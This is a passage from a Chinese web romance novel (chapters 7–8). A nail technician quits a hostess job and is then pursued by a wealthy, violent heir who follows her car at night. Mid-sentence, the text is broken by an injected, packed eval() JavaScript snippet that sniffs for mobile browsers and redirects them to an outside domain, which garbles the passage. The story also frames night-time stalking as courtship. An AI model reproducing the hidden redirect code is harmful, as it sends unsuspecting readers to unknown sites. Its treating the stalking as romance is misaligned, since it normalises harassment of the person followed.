只是一想到刚刚冲动说的话,他有些为难,但也没别的办法,只能摆摆手,态度跟着来了个一百八十度大转弯:“算了我懒得跟你计较,你也先别走了,去送个果盘推个蛋糕当气氛组总行?” 尤绘没应这话,瞥了眼地上的对讲机,随后将手机揣进兜里,从另一侧绕出前台。 经理二话不说,立马将人拦住:“我给你赔不是行吗,实在要走也得干完今晚,你不想要工资了?我给你开双倍的工资,哦不,三倍!你帮帮忙,讨人开心的活儿你应该擅长吧。” 听到这话,尤绘有些难以置信的看着面前令人恶心的男人,不知道他脑子是抽了还是真有毛病,刚怼完呢,转头居然说自己擅长讨人开心?从哪看出来的?就因为长得乖? 尤绘压根儿没打算搭理这人,但经理已经当她是默认同意了,麻溜叫来几个陪酒的小姑娘,让她们拉上尤绘,一道往VIP包间去。 她们像是担心尤绘跑掉一样,将她团团围住,赶着她走。 走了没两步,尤绘就听到身后两个不太待见自己的前辈,正在窃窃私语。 “凭啥要她去啊。” “还不是因为她长得漂亮,要不然以经理的脾气,敢跟他对着来的,我就没见过有好下场的。” “切,就一破花瓶,高傲个什么劲啊,这不还是去陪酒了。” …… 随着距离越来越远,她们的声音逐渐消失在耳畔。 来到VIP包间门口,男经理轻敲了两下门,先一步迈进了包间。随后拍了拍手,五六个小姑娘依次走了进来。 “老板们晚上好~” 该说不说,她们一个个嘴巴像是抹了蜜似的,叫得人心里特得劲。 然而落在最后面的尤绘很显然不是做这事儿的,连笑都懒得陪,就杵在一旁干看着。 见状,经理眉心不自觉拧了下,就注意到沙发上的几位老板眼睛亮了一个度。 她明明只是穿着最简单的工作服,却轻而易举的成为了全场的焦点。 男经理很是满意。 不知盯着看了多久,坐在沙发上,烫着美式前刺的男人飙了句国粹。 下一秒,旁边长相略微憨厚的男人试探性的问了句:“这真的没事吗……?” 前刺男眼睛都直了,随意摆手道:“能有啥事啊,梁少今天生日,难不成还发脾气?搞点活儿让他开心开心嘛。” 憨厚男咽了一把口水:“……你确定……他会开心吗……” 前刺男懒得搭理他这个怂包,只笑着对男经理说:“肖经理,这事儿你办得真不错。” 肖经理恭恭敬敬:“您过奖了,能让梁少舒心是我的荣幸。”说着这话,他招手让几个姑娘坐过去,最后还不忘叮嘱尤绘:“注意点分寸,凡事能忍都给我忍下来。” 说完这话,他立马换了副嘴脸,赔笑道:“各位慢慢,我就先撤下了。” 临走前他推了尤绘一把,让她赶紧坐沙发上去。 等包间的门关严实了,尤绘找了个角落的位置坐下,也不跟人打招呼,就坐在一旁,倒像是个局外人。 前刺男见人乖乖巧巧的缩在角落,猜想她或许比较腼腆,于是端着酒,主动凑上前:“小妹妹,咱喝一个?” 尤绘余光瞟到,这人好像恨不得撞人身上来一样,她往旁边挪了个位置,酒也没接,甚至连那杯酒都没多看一眼:“我酒精过敏。” 尤绘的这个举动让前刺男有些不适,他不爽的嗤笑出声:“不是,你酒精过敏过来陪酒?你快别骗我了,我不喜欢玩欲情故纵,赶紧接着吧。”说着这话,他强行将酒杯往尤绘怀里塞,如果不接住就一个下场,酒液全溢出来将衣服打湿。 他就是料到这一点才有了十足的把握,等着尤绘接。 只是这酒还没接住,外边走廊就响起了一阵格外响亮的脚步声,伴随着几个男人的交谈声。 很快,脚步声来到包间门口,笨重的门被推开。穿着浅蓝细格衬衣,身形高大挺拔的男人迈了进来。 包间外的强光毫无防备的照射,进来,刺眼无比。尤绘下意识眯眼,再睁眼时正正好跟门口的梁清屿撞上了视线。 下一秒,梁清屿的脸色沉了下来。 前刺男的手都已经准备往尤绘肩上搭了,酒杯也强行塞到了对方手里。只是都没有机会进行下一步动作就被打断。 短短几秒钟时间,梁清屿扫视了整个包间,发现沙发上还坐着五六个陪酒女。 他看着前刺男,眼里闪出几分暴怒的寒光:“这他妈谁叫过来的?” 众人一听,心里咯噔一下,一种不祥的预感涌上心头。原本还在互相喂酒玩游戏的几人,这会儿全部低下了头,没一个敢吭声。 梁清屿可不是好糊弄的人,此刻他眼神愈发阴鸷狠戾:“再问一遍,谁叫的陪酒?” 见情况不对劲,跟在梁清屿身后的黄毛立马站出来,先一步教训起他们:“你们怎么回事啊,跟着玩过这么多次了,怎么还一点规矩不懂,再这样就直接滚蛋。” 黄毛正训着人,梁清屿注意到缩在角落的尤绘还握着酒杯,唯独视线偏到了一旁。 他没看她,冷声道:“都出去。” 听到这话,尤绘二话不说,将酒杯一放,也不等其他姑娘,自个就起身推开包间的门走了,速度快到让人没有反应过来。 等所有的姑娘都出去了,包间的门刚撞上,里头就响起了酒瓶摔在地上的刺耳声响,伴随着拳头挥到脸颊上,打断牙齿的声音,被打的人似乎被掐住了脖子,赔罪的话说得极为艰难。 没人敢上前劝架,都躲在一旁。 只听到被打的男人一个字一个字的吐出:“对不起我错了,哥,我真的错了,这次是我犯浑,我保证下次不会再自作主张了……” 场面太血腥,手挽着手的姑娘们忍不住小声议论。 短发姑娘:“我之前就听说了,梁少组局从来不喊陪酒的,就连朋友带女友过来玩都属于罕见情况,也不知道那群人咋想的,这不直接撞枪口上了嘛。” 红发姑娘好奇心重,没忍住问出了口:“为什么啊,难道他不喜欢女的?还是他性冷淡啊?” 见人这么不怕死,短发姑娘反应迅速,捂住了对方的嘴:“你快别说了,被听到就完了。” 这个话题还没彻底结束,几人就看到走在最前面的尤绘转身往休息间的方向去了。 有姑娘招手喊她:“你真不干了啊?” 尤绘没应这话,已经拐进休息间。 将工作服换下丢进垃圾桶,她去抽屉里拿了片卸妆湿巾。 卸完妆,刚用钥匙打开储物柜,余光瞟到有人不急不慢地朝着这个方向走来,很快便停在了休息间门口。 那人闲散的半靠着墙站,指尖夹着根燃了半截的烟,也不说什么。 尤绘边收拾着包包,很随意的一句:“我已经下班了,如果改变主意想喊陪酒的话,得找别人。” 兴许有些出乎意料,梁清屿懒散的嗓音惨了些沙哑,腔调极为漫不经心:“这回对我有印象了?” 话音落,尤绘神情一顿,没应这句,拎着包包绕开他出了休息间。 全程一个多余的眼神都没给。 梁清屿就站在原地,抽着烟,视线跟随着她,直到那道背影彻底消失在眼前。 他从兜里掏出手机,点进微信,编辑了一条消息:[纯姐,是不是该换美甲了?] 7.爆金币 这条消息才刚发送出去,对面速度极快的甩过来一个大大的问号,紧接着视频电话就弹了出来,一点准备都不给人留。 梁清屿眉心微皱,将烟蒂捻灭丢进垃圾桶,顺手点了拒接。他单手抄兜,姿态散漫地往电梯口的方向走。 走了没两步,屏幕上弹出一条消息:[你叫我纯姐??] 紧接着又一条:[你不都梁纯梁纯的叫吗?什么时候叫过姐,不对劲,特别的不对劲,你有情况啊。] 看到这条消息,梁清屿眼中闪过一抹复杂的情绪。 7y.:[没情况。] 冰冷冷的三个字冒出来,梁纯呵呵两声笑:[没情况就是有大情况!你老实跟我说,你是不是看上那个小美女了。] 这条消息弹出,梁清屿的视线很快锁定在‘看上’两字上,倒没过度停留,拇指已经按在m键上:[没。] 那头的梁纯明显不好糊弄:[老弟,说真的,你挺不擅长撒谎的,一眼假。] 梁清屿还想说什么,手指在屏幕上敲击了几下,又统统删除,重新再编辑内容时,不远处的包间里,黄毛拉开门冲出来,一眼锁定目标,着急忙慌地跑了过来。 他指了指后头的包间:“哥,那小子交代了,是他帮怂包跑的路,欠的钱也没收回来,说钱还清了单纯是因为被那小子恐吓了。” 不出所料,早在半个月前这事刚‘解决’的时候,梁清屿就怀疑过,一查还真有问题。刚好赶上过生日,就想着借这次生日局把人骗出来。 之前黄毛问起,说怎么不多喊点朋友来玩,梁清屿说用不着,毕竟也不是正儿八经过生日,教训一个胆儿肥的东西,叫那么多人也太给他面子了。 听罢,梁清屿漫不经心掀起眼皮:“欠人家多少钱?” “五万。” 对旁人来说这数额不小,但对梁清屿来说简直不值一提,这点钱连他车上一个芝麻大小的零件都买不起。 他从兜里掏出一张卡,递到黄毛面前:“取十万给人送过去。” 黄毛接住卡:“好嘞!” 做完这些梁清屿才想起来看手机,就发现对面已经噼里啪啦发了一大堆消息。 他凝眉,白皙修长的手指在屏幕上滑动,一条条看。 纯:[我早就看出来了,你对人家一见钟情了吧。] 纯:[我就说嘛,我俩口味很一致的,我觉得她可爱软乎乎的,你肯定也这样认为,但没办法呐,我弟弟就是比较羞涩一小男生呢。] 纯:[不过我觉得她大概率不会喜欢你这种男人,你看着太凶了。] 纯:[你看她上次给我做美甲,全程都没怎么说话,指不定是被你吓到了,你长得太像黑涩会老大了。] 像是觉得打字太寡淡,不足够表述自己激动的情绪,梁纯直接发了条语音:“你的事先放一边,如果我有幸能加到小羽宝宝的微信就好了,她真的完全长在了我的审美点上,能懂吗?能吗?” 这条语音底下还跟着几句,梁清屿压根儿懒得点开听,只引用了羞涩小男生那句,敲了一串句号过去。 发送成功后梁清屿不打算再回复,但对面的梁纯不可能轻易放过他。 看到消失已久的人又回复自己了,她一身劲:[哎呀没事的啦,你不会追姑娘,姐姐我帮你!你就放心交给我吧,我肯定给你办得明明白白!] 看到她发的话,梁清屿面色冷凝,就一句:[别添乱。] 纯:[我已经约好了,明天下午两点,见小美女~] 7y.:[我明天没时间。] 纯:[不是你耍我呢,你刚刚明明问我明天做不做美甲,你现在没时间了???你纯纯sb吧。] 一旁悄咪咪探着脖子瞅手机屏幕的黄毛,在看到梁清屿回复的那条消息后,他缓慢发出疑问:“哥,你明天不是没别的事可干吗?” 黄毛这话说的挺委婉的,担心说太直白了人不乐意听,毕竟谁不知道啊,他们这一圈朋友里属梁清屿最闲,现在他居然说自己没时间?也难怪被梁纯说一眼假,这能不假吗。 只是这话才刚出口,黄毛就察觉到整条走廊似乎都陷入了沉寂,明明好几个包间都坐了人,上一秒还在唱啊闹啊的,这一秒闹腾的声音竟全部消失。 紧接着,这份渗人的冰冷气息转移到了身旁。 梁清屿转眸,死死盯着,那股噤若寒蝉的压迫感,把黄毛吓出一身冷汗,麻溜滚远了。 等跑开了,隔老远,他举起手中的卡:“哥!你放心吧,我保证给你把这事办得明明白白!” ? 合理怀疑黄毛已经偷偷看完了所有的聊天记录。 梁清屿懒得跟他计较,踱步来到电梯间,按了下行键。等电梯的间隙,他点开了第一条语音。 十秒不到的语音,他听着,眉头不自觉蹙了起来,等结束播放,他按住说话键:“小yu是谁?” 对面很快回过来一条:“靠,你连人姑娘叫什么都不知道啊,你怎么回事,出手太墨迹了点。” 刚点开这条语音,电梯到达楼层发出叮的一声响。 梁清屿抬腿走进电梯,敲字:[哪个yu?] 纯:[羽毛的羽,不是你那个屿。] 不等梁清屿再发什么,梁纯眼神一闪:[某种程度上,你和她重名了。小屿和小羽,别说,还挺配的呢。] 看到这个小名,梁清屿不再回消息,直接将微信后台划掉,手机锁屏揣兜里。 等电梯下到一楼,电梯门刚打开,耳膜就被粗厚的声音震麻。 此时前台处,经理情绪激动的问话:“你说什么?她走了?工作服在垃圾桶里找到的?” 女员工搓着手指,头都不敢抬起:“对……对。” 经理将工作服摔到地上,气得额头上青筋突突地跳:“艹了啊,那死丫头还挺有骨气,不就陪个酒嘛,能把她怎么着了啊。” 摔了工作服还不够解气,经理边骂,握拳重重敲在前台桌面上,完全没注意到,女员工的表情发生了明显的变化,整个人都有些僵硬,等回过神了,她轻咳了声。 闻声,经理皱着眉瞅了她一眼,就看到她一个劲的挤眉弄眼。 经理好生烦躁:“你眼睛抽筋啊,有病就请假去看医生,别给我添堵。” 见经理没得救了,女员工决定先自保再说。 她往边上挪了一步,朝后方鞠了一躬,喊道:“梁少好!” 也就这么一瞬间,经理脸色骤变,眼底闪过一丝惊恐,左眼皮没意识的开始跳动。 他缓缓转身,在看到梁清屿真的就站在不远处后,他的嘴角扯出一抹苦笑,不管那么多,先恭恭敬敬来了个九十度鞠躬:“梁少您这就要走了吗,蛋糕还没来得及切呢。” 梁清屿眉眼阴鸷,语气中的警告意味分明:“要实在不会办事儿,你也不用在这干了。” 撂下这句话,梁清屿转身离开。 经理一句多余的话不敢讲,只能赔笑送客:“梁少您慢走啊。” 等人出了大厅,经理余光瞟到躲在前台后的女员工似乎在憋笑。 他恶狠狠瞪过去:“笑什么笑,再笑扣你工资。” - 另一边,尤绘在弄堂口指定位置还完共享单车,去自提柜取了几件快递,刚走进弄堂就听到一楼麻将馆传出的对话声。 几个老婆婆老太太围坐在麻将桌前,边打牌,一个穿得稍显贵气的老太太说话不好听,带着明显的讽刺意味。 “哎呦不是我说你,你身体不好就不要来打麻将了呀,别死我这了那多晦气呦。” 刘许珍可不是吃素的,见人这么说,她不乐意了啊,丢出去一张牌,指着人家鼻子就开始:“你个老婆子说的什么鬼话,我身体什么情况我自己清楚得很,用得着你在这里咒我吗?给自己积点口德吧!” 听到这最后一句话,尤绘心里不由得发笑。 紧接着,那老太太用力拍了下桌子:“钱呢!你今天怕不是全输光咯,等会儿还下得去这牌桌吗?” 另一边的老婆婆叹了口气,劝说着:“你孙女也不容易,你去跟隔壁张大妈跳跳广场舞得了呗,打什么麻将,就没见你赢过几回,要是我一直输啊,我可不会再碰这害人的东西了。” 说到这死丫头刘许珍就一肚子火,她翻了个白眼:“她赚钱不就是给我花的吗,等她晚上回来我再找她要,还怕没钱还你们不成,那是她欠我的!” 刘许珍似乎还有话要说,一张嘴停不下来。 只是都是些摆不上台面的难听话,尤绘没兴趣继续听她骂,绕小道回的家。 推开入户门,出租房内的恶臭味让尤绘脸色变得极为难看。 看到地上一丢杂物,洗了的衣物晾都没晾散落在各个角落,客厅的茶几上,碗碟里还有没吃完的饭菜,这简直比老鼠窝还乱,刘许珍却没有一点要收拾的意思,就这么堆在外面,等着‘佣人’回家。 现在‘佣人’回来了,却并不打算帮忙清理这些垃圾,权当没看着,换上拖鞋,抱着快递回了自己房间。 将房门反锁,快递全部丢到地毯上。 尤绘边掏出手机切换微信工作号,边踱步到窗台边,将窗帘拉上。 做完这些,手机上接连弹出好几条消息,都来自某女装品牌的对接人。 对方来向她确认是否收到货,又询问了一下具体的出视频时间。 尤绘在床尾坐下,单手回着消息,另一只手已经开始拆快递包装袋。 这次品牌方总共寄了十套新款,尤绘从中挑选出六套,挨个换上拍了几条近期网络上爆火的慢摇舞蹈视频。 这些视频的舞蹈动作较为基础简单,能火出圈很大一部分原因是音乐节奏带感。 当初尤绘接触这一行单纯就是想赚点外快,现在网络这么发达,百分之九十的人闲来无事都会刷短视频,算是来钱快,又没什么损失的一份工作。 但她始终没想过要当网红,所以她所有的视频都用emoji遮住了脸,接的广告也仅限衣服或者项链。 一没有粉丝群,二不开直播带货,有品牌方找来就拍视频,没有一个礼拜最多更新一条。 身边几乎没人知道平台上这个二十万粉丝的人就是她。 这样也挺好的。 一个小时不到,尤绘将剪好的全部视频发给了对接人。 对方确认好后,尤绘登上短视频软件,设置好定时发送,第一条视频刚发出,对接人就将尾款打了过来。 也是这时,美甲店店长发来了微信,是一条语音,尤绘点了语音转文字,在看到内容后,她轻挑了下眉。 第二天,尤绘准时在美甲店打卡上班。 刚在工位坐下,周围闲着没事干的同事们又聊起了八卦,用不着猜就知道,话题一定是围绕着梁清屿展开的。 自从富婆姐姐光临本店后,这半个多月的时间里,美甲店的同事们再没提过其他帅哥,只要闲下来就聊梁清屿,大家对他的评价简洁明了:坏人一个。 尤绘没兴趣参与讨论,每回有人跟她说起这人,她的反应都过于冷淡,导致店里的同事们都说她是无性恋。 也是这会儿,一阵强烈的引擎咆哮声传入耳内。 小翠速度最快,原本还在跟人唠嗑,这会儿就已经冲到窗边去了。 尤绘余光瞟了眼,就看到小翠双眼放光,一个劲的招手要同事们赶紧过来看。 边招手,她盯着楼底下停着的黑红色跑车:“我靠了啊,这车也太帅了,这什么牌子的车啊,我都没见过。” 几个没事做又爱凑热闹的同事二话不说跑了过去,都来不及感叹车里的人可比车更帅,一个身影突然出现在他们身后。 店长语气冰冷渗人:“很闲是吧,都给我去练手绘!” 一溜烟,全跑开了。 店长冷哼一声,在心里嘀咕,都是一群不让人省心的。要换了平时,她势必一个一个盯着,现在可没这闲心。 听到楼梯口传出动静,高跟鞋哒哒哒地响,店长两步并作一步,麻溜过去迎接。 就看到富婆姐姐后边还跟着一人,正是那位在美甲店火得一塌糊涂的帅哥。 他穿着海蓝宝钉珠镂空重工假感短袖,脖子上戴着一条金色的克罗心项链。细碎的刘海垂在他硬朗的眉骨,他姿态轻慢,单手抄着兜,浑身透着一股邪气,无形中给人的压迫感极强。 店长怔愣一瞬,随后笑眯眯地:“哈喽宝贝下午好呀,小羽已经在位置上等您了。”说着这话,她递出双手:“包包我来替您拿吧。” 梁纯嗯哼一声,刚将包包递出去,余光里,梁清屿的目光一直停留在某处。 梁纯没忍住嗤了声。 这一声很快引起梁清屿的注意,他看过来,眸中带着说不清的意味。 梁纯切了声,抬腿朝着不远处走去。 刚到跟前,招呼都没来得及打,梁清屿不知道从哪拖了把椅子,往边上一搁,先一步坐下了。 他要坐就好好坐,还翘着个腿,坐姿太随意了些。跟那玩世不恭的公子哥有什么区别,再严重点,公子哥都不足矣形容这人。 梁纯懒得说他,边坐下,将双手递到尤绘面前,笑着问:“款式图店长发你了吧。” 尤绘拿出打磨头,淡淡嗯了声:“这次的款式不难,最多三个小时可以做完。” 梁纯嗯了几声很是敷衍,毕竟那款式是她在小红薯上随便找的,这次过来主要的任务是当媒人,她可太爱干撮合人的活儿了。 就是旁边这人啊奇奇怪怪的,自打他在旁边坐下后,一双眼就没从人家胸上挪开过,不知道在看什么,太冒昧了点。 梁纯实在忍不住,借着俢左手的间隙,她握拳用力打了梁清屿大腿一下,随后甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185301|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去一个眼神,又捂住半张嘴小声警告:“注意点分寸。” 听到这话,梁清屿知道梁纯误会了什么。 他掏出手机,打字:[我在看她工牌上的名字。。。] 纯:[那也不行,你这眼神攻击性太强了,别吓到人家了。] 7y.:[说了没想法。] 纯:[我管你呢,你骗不了我的,别装了。我得好好想想怎么帮你追上她!] 梁清屿再次敲了一串句号,还没来得及发出去,一通电话打了进来。 他起身朝着窗台的方向走,接通电话后手机贴到耳侧。 不知道对面说了什么,只见他眉心一蹙。 等人走远了,梁纯往前凑了凑,试探性的问了句:“小羽,你觉得他人怎么样呀?” 闻言,尤绘抬眸,目光微微一滞。 见状,梁纯抬了抬下巴示意不远处的窗台边。这会儿梁清屿正背对着这边讲电话,边讲,他的手在兜里摸出烟盒,单手开盖抖出一根咬在嘴边。 尤绘唇角微微上扬,绽出一抹温和的弧度,什么也没说。 这下梁纯真不知道该怎么做推荐了。 自个琢磨了好半天,赶在梁清屿讲完电话前,她有些为难的问了句:“你们是不是不可以私下加顾客的联系方式啊?” 尤绘点头嗯了声。 听到这个回答,梁纯沉默了片刻,心想估计还是充的钱不够多,她没得一丝犹豫,给梁清屿发了一条消息:[你等会儿再去找店长充十万。] 像是担心这人会觉得自己有病,她还补充了一句:[我没有开玩笑,你今天势必给我要到小美女的联系方式知道吗!要不到就是你不行!] 发完这两条消息,梁纯抬眸再次看向尤绘,特别认真:“他非常有钱,很能爆金币的。” 冷不丁的这么一句话让尤绘怔愣了一瞬,下一秒就察觉到周围几位美甲师的神情变化,以及她们低下的头和不断敲击屏幕的手指。 尤绘再次点头嗯了声,语气很淡:“那挺好。” 听到这三个字,梁纯悬着的心放下一半,喜滋滋的。 等到梁清屿讲完电话回来,看到梁纯几分钟前发的消息,他的视线再度落到尤绘身上。 脑海中浮现昨晚她说的那句话:挺怕的。 几秒钟后,他回复:[这数额你敢给,人家都不敢收。] 发完这句似乎觉得还不够,他又编辑了一条:[我的事儿你别管,心里有数。] 对面秒回:[你承认了?] 看着这条消息,梁清屿扯了下嘴角,冷眼瞥向梁纯,没回,手机揣进兜里。 这之后尤绘能很明显的感觉到被人一直盯着,这人似乎没有别的事可干,全程不带看手机的,也不去抽烟,硬生生陪着坐了三个小时。 这三个小时里,两人唯一的交流就是梁清屿面前的纸杯空了,尤绘让店长再接一杯水过来。 接水前,她抬眸,撞上对方的视线,她问了句:要常温还是冰的。 他说:冰的。 再无其他。 真就像是只见过两面,没有任何印象的陌生人。 等三个小时一过,店长刚将两人送走后,娇娇从休息间里窜了出来,拉住尤绘:“群里都炸了!” 意料之中,尤绘连手机都懒得掏出来,并不关心群里的消息。正准备去接待新的顾客,里里从纹眉区走了过来。 她抱着胳膊上下打量起尤绘,最后阴阳怪气道:“小羽你真是走运咯,有一个澄姐还不够,现在又来个富婆姐姐。” 话音落,娇娇正准备帮尤绘出头,手臂就被拉了一下。 紧接着就看到,脸上神色平和的尤绘,冷不丁回了句:“嫉妒吗?嫉妒就对了,没本事的人就是一身酸臭味。” 一旁的娇娇瞬间睁大了眼睛,她可太爱看香香小蛋糕怼人了,爽!超爽的! 主要是被怼的这人面部表情还贼夸张,一看就是破大防了!这下更爽了! 娇娇及时补刀:“嫉妒使人面目全非呦~某人眼睛气得都充血了吧,要不去楼下奶茶店喝一杯缓缓呢?” 被怼了这么两句,里里气得要发狂了,双手握拳,恶狠狠瞪着两人。 不等她说什么,店长喊道:“里里,你赶紧过来,客人的钻掉了,过来给她补个钻。” 里里心里窝火,但又不得不去工作,这可把娇娇乐呵坏了。 反观尤绘就平静太多,她倒不觉得自己说的话有多么过分或者气人,要怪只能怪对方心理承受能力太弱。 - 接待完最后一位顾客,尤绘下班的时候已经是晚上十点多了,店里的同事走得只剩下几个,尤绘脱掉工作围裙,将皮筋取下,长发披散到肩头,她拿上包包下了楼。 这个点大学城附近的路上人不算太多,大多数都是出门吃夜宵的,成群结队,只有极少数人是单着的。 尤绘从早上上班到这会儿下班,一整天就只吃了一小块饼干,还是店长强行送到手里来的。 先前忙的时候还没感觉,这会儿胃部饿得一阵阵绞痛。 下了楼,尤绘朝着24小时营业的便利店走去,余光中停在马路对面的一辆车突然亮起了车灯。她没在意,进到便利店买了一份关东煮。 再出来时,那辆车已经不见了踪影。 尤绘一手端着热气腾腾的关东煮,另一只手从口袋里掏出一枚蓝牙耳机戴上。 下一秒,纤细而缠绵的音乐声传入耳内:“如果没有遇见你,我将会是在哪里,日子过得怎么样,人生是否要珍惜……” 听着歌吃着关东煮,尤绘穿过马路,走进美甲店隔壁的巷子里。 这条狭窄的小巷昏暗不堪,为数不多的几盏路灯没能及时维修,深深的巷子如同无底黑洞。 尤绘步伐缓慢,走了没两步就注意到前面似乎站着个人,正倚在墙边,姿态极为闲散的抽着烟。 四周寂静无声,头顶破损的路灯发出滋啦滋啦的声响,灯泡忽明忽暗,他的半张脸被藏在阴影中,侧脸轮廓分明,颈部线条流畅,喉结突出明显。 他微微垂着眼睫,青白烟雾徐徐上升,模糊了他的脸。 尤绘没有停住步伐,继续往前走,经过身旁时,男人将烟蒂捻灭,抬眸看了过来:“能给个联系方式吗?”他的声音低沉,腔调慵懒痞气,在这静夜中更显低醇撩人。 此时耳机里的歌曲已经切换到下一首,第一句歌词是:你问我爱你有多深,我爱你有几分。 月光倒映在他脸庞,他的一只手已经放入口袋,似乎在掏手机出来。 尤绘轻轻睨了他一眼,撂下一句:“给不了。” 看着她渐行渐远的背影,梁清屿黑眸沉下,顶着张桀骜不驯的脸:“你真这么怕我?” 尤绘并没有回答他这个问题,头也不回的消失在了这幽暗的小巷。 8.不给追 将装关东煮的空杯投入垃圾桶,尤绘刚在路边上扫了辆共享单车,手机上就弹出一条消息,来自备注:辛博汶。 [明天下班我去接你。] [一起看电影?] 尤绘单手敲着字,余光里,那辆不见踪影的车再次出现在马路上。 她回对面:[好。] 回完消息,尤绘踩着单车上了路。 先前下过雨,潮湿的柏油路被车轮碾过,发出嘶嘶声。 行驶了一段路程,尤绘敏锐的察觉到,身后似乎跟着辆车,那车如同幽灵般,龟速行驶着,走两步一停走两步一停,在十字路口等红绿灯时,还故意停在了五十米开外的位置,却始终不打转方向。 尤绘眉心拧得厉害,过完这个路口又骑行了几百米,发现那车依旧死死追着不放。要不了多久就该跟到家门口了。 她不打算继续装不知情,不再踩脚蹬,双脚撑地,转头盯向后方的车。 正正好好撞上梁清屿深邃的眼眸。 他单手把着方向盘,另一只手搭在车窗外,指间夹着根烟,样子极为慵懒。 兴许没料到尤绘会突然看过来,梁清屿怔愣一瞬,随后眉峰轻挑,将车停在了原地。 两车之间仅仅隔了五米不到的距离。 道路两旁的灯光映照进车里,尤绘看不清梁清屿的表情,只觉那藏在阴影后的眼眸透着极强的侵略性。 四目相对,尤绘的唇线紧绷,脸上表情越发难看,精致的眉眼染上几分怒气。 不知过了多长时间,好几辆车从身旁穿行而过。梁清屿终于有所动作,按了下喇叭,嘀嘀两声后,见尤绘依旧死死盯着,不走也不过来。 他再次启动车子,缓缓行驶到她身旁。 待副驾驶座的车窗降下来,梁清屿微微转头,神色痞痞,唇角上扬的弧度看着就不像好人。 他依旧一只手搭在方向盘上,懒洋洋地:“有事儿?” 他到底是怎么做到这么自然的说出这句话的?倒打一耙呢。 尤绘脸色沉得厉害,语气微带怒意:“再跟我报警了。” 闻言,梁清屿低笑了声,耐着性子解释:“你一姑娘走夜路不安全。” 尤绘一点客气不讲:“你看着比较危险。” 相较于第一次听尤绘说这话,这次梁清屿只是敛眸,语气悠悠的问:“你们那群里都传了些什么?” 合着他一直都知道呢。 尤绘没有正面回应这个问题,也不想再在这里跟他浪费时间,一只脚已经踩上脚蹬。 梁清屿冷不丁一句:“不给追?”说这话时,他的语气拽又吊儿郎当,压根儿不像正儿八经追人,而是强迫。他就只差没上手掐人脖子,说:不给追你就死定了。 尤绘唇线拉直,面无表情的说:“你不是我喜欢的类型。” 她语气实在太冰冷,现在说这话的时候胆子倒是挺大的。 梁清屿一听,微挑眉:“你喜欢什么样的?我装一下?” 此话一出,尤绘的脸色更加难看,转过头不再看他,嘀咕了句:“混蛋。” 这条马路上静谧而空旷,只有少许的树枝在风中摇曳的声响,那两个字梁清屿很显然是听到了的,倒没脾气,反而直接戳破了问:“你骂什么呢,说大声点我听听。” 尤绘现在觉得,骂他混蛋都是轻的了,这人简直不要脸。 她依旧不看他,就一句:“别跟着我了,我真会报警。” 听到她这么说,梁清屿拖着腔调,语气有些欠:“我家在这个方向,没跟着你。” 话音落,尤绘狠狠瞪过去一眼,脸颊因生气染上了些许绯红。她没想过他会耍无赖,知道他这人坏,但没想到他张口就来,简直骗鬼。 也因为这句话,两人再度对上视线。 不知道是因为尤绘长得实在太乖太软的原因,还是其他什么,梁清屿真自我怀疑了片刻,总觉得是不是欺负她,欺负过头了,可他也什么都没干啊。 看到她眉眼间的疏离,仿佛有那么几秒钟时间是在思考要不要快跑。 梁清屿无奈叹了口气,让步:“回去吧,不跟了。” 尤绘真就骑上车走了,一点犹豫都没有,好像生怕这混蛋后悔,这路上来来回回没几辆车,他要想直接绑人也不是什么难事。 见她走得决绝,梁清屿说到做到没再跟着,就坐在车里,手里捏着火机,有一搭没一搭的开盖点火,直到她彻底消失在视野里。 - 隔天尤绘照常到美甲店上班。 经历了昨晚的事情,她觉得梁清屿该知难而退了,毕竟他们之间闹得并不愉快,她话说得也挺直白不留情面的,人家有钱有势,端着上位者的姿态,也犯不着在一颗树上吊死。 这么想着,尤绘穿上工作围裙从休息间里出来,拿着保温杯踱步到饮水机前。 刚将杯子放到出水口,一旁撑着窗台跟人讲电话的玫瑰注意到了什么,诶了声,自言自语道:“隔壁学校不都放暑假了吗,怎么还会有豪车出没啊。” 闻言,尤绘顺着视线看了过去,就发现先前空旷的马路边,现在停了辆明显就不太属于这里的车。那车一看就不便宜,颜色很艳,特招摇,却不俗气。 短暂凝视,尤绘的脸色微变,随即恢复平静,拿上接满水的保温杯去到了工位。 之后的一整个下午,但凡经过窗边的同事都会往楼下瞅两眼,并感叹一句那车真酷。 这让尤绘不得不多想,脸上神色复杂,直到快下班时再次收到辛博汶发来的消息,她才将乱七八糟的思绪抛到了脑后。 尤绘瞟了眼消息内容,是辛博汶问要不要吃冰淇淋,又说他已经到附近了。 尤绘没有第一时间回复,等拍完了客照,将客人送走,她才点进聊天框编辑消息。 也是这会儿,站在窗边的娇娇似乎看到了什么,疯狂朝尤绘挥手,情绪格外激动:“哎小羽,楼下那个戴眼镜的男生是不是就你上次跟我说过的,在追你的那个啊。” 此话一出,店里的同事们一个个都睁大了双眼。 “什么戴眼镜的男生,小羽谈恋爱了?” “我靠,长啥样啊让我看看。” 没活儿的速度飞快地冲到了窗边,有活儿的边做着手头上的工作,屁股已经离开椅子,伸长脖子试图看到窗户外楼下那人。 “什么啊什么啊,谁拍个照片给我看看呗。” 一时间窗边挤满了人,店里的常客也止不住的有些好奇,指甲都先不做了,凑个热闹再说。 就看到楼下站着一位穿着简单干净,戴着黑框眼睛,头发梳得整整齐齐,长相极为斯文的小男生。 那男生似乎有些紧张,眼神四处游移,双手交握在一起不断的揉搓。 看到这的众人身体瞬间石化了般,张着嘴好半天没说出话。 直到有位顾客姐姐略微有些失望的开口:“我还以为小羽会喜欢那种不太正经的男人呢,原来喜欢书呆子的类型啊。” 话题巧妙展开,同事们纷纷问道:“看不出来啊,你们怎么认识的啊,说来听听呗。” 而此时尤绘已经换下工作围裙准备走了,却被几个同事团团围住。 看到尤绘微微蹙起的眉心,娇娇立马站了出来,边给尤绘使眼色让她赶紧撤,边摆摆手跟同事们说:“你们也真是的,怎么能这么八卦啊,快放过小羽吧!人男生还在楼下等着呢。” 